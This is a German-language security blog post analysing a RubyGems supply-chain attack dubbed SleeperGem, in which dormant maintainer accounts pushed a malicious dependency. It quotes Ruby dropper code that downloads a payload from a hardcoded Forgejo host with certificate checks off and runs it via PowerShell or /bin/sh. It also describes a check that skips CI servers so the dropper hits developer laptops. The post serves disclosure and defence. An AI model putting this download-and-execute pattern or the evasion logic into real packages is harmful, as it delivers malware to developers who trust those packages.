Es kommt nicht oft vor, dass wir einen Supply-Chain-Angriff auf RubyGems erleben. Doch angesichts der Hochsaison für Sommerurlaube hätten wir vielleicht damit rechnen sollen. Es war dennoch eine Überraschung, als ich heute Morgen die Triage-Warteschlange öffnete und ein verdächtiges neues Paket vorfand.
Ein brandneues Gem namens git_credential_manager wurde in schneller Abfolge in vier Versionen veröffentlicht. Auf den ersten Blick schien es nur darum zu gehen, einige Binärdateien von einem Host herunterzuladen, den ich noch nie zuvor gesehen hatte. Das konnte doch unmöglich bösartig sein... oder?
Zufällige Binärdateien
Das Paket fiel sofort auf, da es einfach Binärdateien von einem Git-Repository herunterlud, das unter https://git.disroot[.]org/git-ecosystem/.

git.disroot[.]org ist eine öffentliche Forgejo-Instanz, auf der jeder Repositories erstellen kann. Jemand hatte praktischerweise den Benutzernamen git-ecosystem, wodurch das Projekt gerade legitim genug aussah, um sofortigen Verdacht zu vermeiden.
Im Repository befanden sich nichts weiter als Binärdateien, einige davon gezippt. Als wir eine davon an VirusTotal übermittelten, verschwendeten Antiviren-Anbieter keine Zeit, sie als bösartig zu kennzeichnen.
Wohin ist die Welt gekommen, wenn wir nicht einmal dem „Git Ecosystem“ vertrauen können? /s
Nicht gerade subtil, wenn man genauer hinsieht
Beim Auseinandernehmen der vier Versionen kann man zusehen, wie der Liefermechanismus in Echtzeit über etwa neun Stunden, in zwei Sitzungen, aufgebaut wird.
Version 2.8.0 war bereits am ersten Tag ein voll funktionsfähiger Dropper: eine URL gegen diesen fest codierten Forgejo-Host erstellen, sie mit explizit ausgeschalteter Zertifikatsprüfung abrufen und die Payload direkt an eine Shell oder PowerShell übergeben:
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # SSL-Verifizierung deaktivierenif goos == "windows"
Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
Process.spawn("/bin/sh \"#{full_path}\"")
end
Version 2.8.1, 24 Minuten später, änderte genau eine Sache: Es leitete die Ausgabe der Unix-Ausführung um nach /dev/null. Keine neue Funktion, nur eine leisere. Jemand beobachtete die Konsolenausgabe seiner eigenen Malware und entschied, dass sie zu laut war.
Dann gibt es eine achtstündige Lücke, vermutlich zum Schlafen, bevor Version 2.8.2 am nächsten Morgen mit der eigentlichen Eskalation auftaucht: Der Installer wird direkt in den Ladepfad des Gems eingebunden, sodass lediglich require-ing git_credential_manager (keine Binärdatei installieren, nichts explizit ausführen, nur die Bibliothek laden) ausreicht, um das Ganze in Gang zu setzen. Und in derselben Veröffentlichung ist die Zeile, die das heruntergeladene Skript ausführt, auskommentiert. Siebzehn Minuten später, Version 2.8.3 kommentiert sie wieder ein. Ein Zeichen, funktional gesehen, und der Dropper wechselt von „gestaged“ zu „live“.
Es gibt auch eine skip_install?-Prüfung, die nach etwa 30 Umgebungsvariablen scannt, die zu CI-Plattformen wie GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins und Vercel gehören, und nichts tut, wenn sie eine entdeckt. Dies wurde absichtlich entwickelt, um Build-Server zu vermeiden. Es zielt auf Entwickelnde-Laptops ab, nicht auf Wegwerf-CI-Runner.
Andere kompromittierte Pakete
Als Nächstes sah ich mir das Konto des Publishers an und bemerkte, dass sie mehrere andere Gems pflegten. Einige waren seit 2019 nicht mehr aktualisiert worden, während andere gestern und heute plötzlich neue Releases erhalten hatten.
Am bemerkenswertesten war Dendreo, erstmals 2017 veröffentlicht. Etwa zur gleichen Zeit wie git_credential_manager erschienen zwei neue Versionen. Es überrascht nicht, dass der Angreifer git_credential_manager als Abhängigkeit hinzugefügt hatte, wodurch sich die bösartige Payload auf bestehende Benutzer ausbreiten konnte.

Noch besorgniserregender ist, dass der Angreifer auch eine neue Version von fastlane-plugin-run_tests_firebase_testlab, einem völlig unabhängigen Projekt mit insgesamt 574.661 Downloads. Im Gegensatz zu den anderen kompromittierten Gems gehörte dieses einem völlig anderen Maintainer, was darauf hindeutet, dass die Kompromittierung über ein einzelnes Konto hinausging.

Die eigentliche Lektion hierbei
Wir haben bereits viele ähnliche Vorfälle bei npm und PyPI behandelt. RubyGems hat sich diesem Trend bisher weitgehend entzogen, und wir konnten keinen früheren Fall finden, bei dem zwei unabhängige, lange ruhende Maintainer-Konten innerhalb weniger Stunden reaktiviert wurden, um dieselbe Abhängigkeit in Gems einzuschleusen, denen die Leute bereits vertrauten. Soweit wir wissen, ist dies RubyGems' erste echte Erfahrung mit dem, womit npm und PyPI seit über einem Jahr zu kämpfen haben.
Ein RubyGems-Konto, das sechs oder sieben Jahre lang inaktiv war, erscheint niemandem riskant. Genau dieses Profil ist es wert, übernommen zu werden. Daher stammt der Name SleeperGem: kein platziertes, langfristiges Angreifer-Asset, sondern ein echtes, gewöhnliches Konto, das einfach inaktiv geworden war und harmlos genug aussah, um unbemerkt gekapert zu werden.
Bisher zwei Konten kompromittiert, in einem Registry, das dies bisher weitgehend vermieden hatte. Bleibt zu hoffen, dass dies nicht zu einem Trend wird.

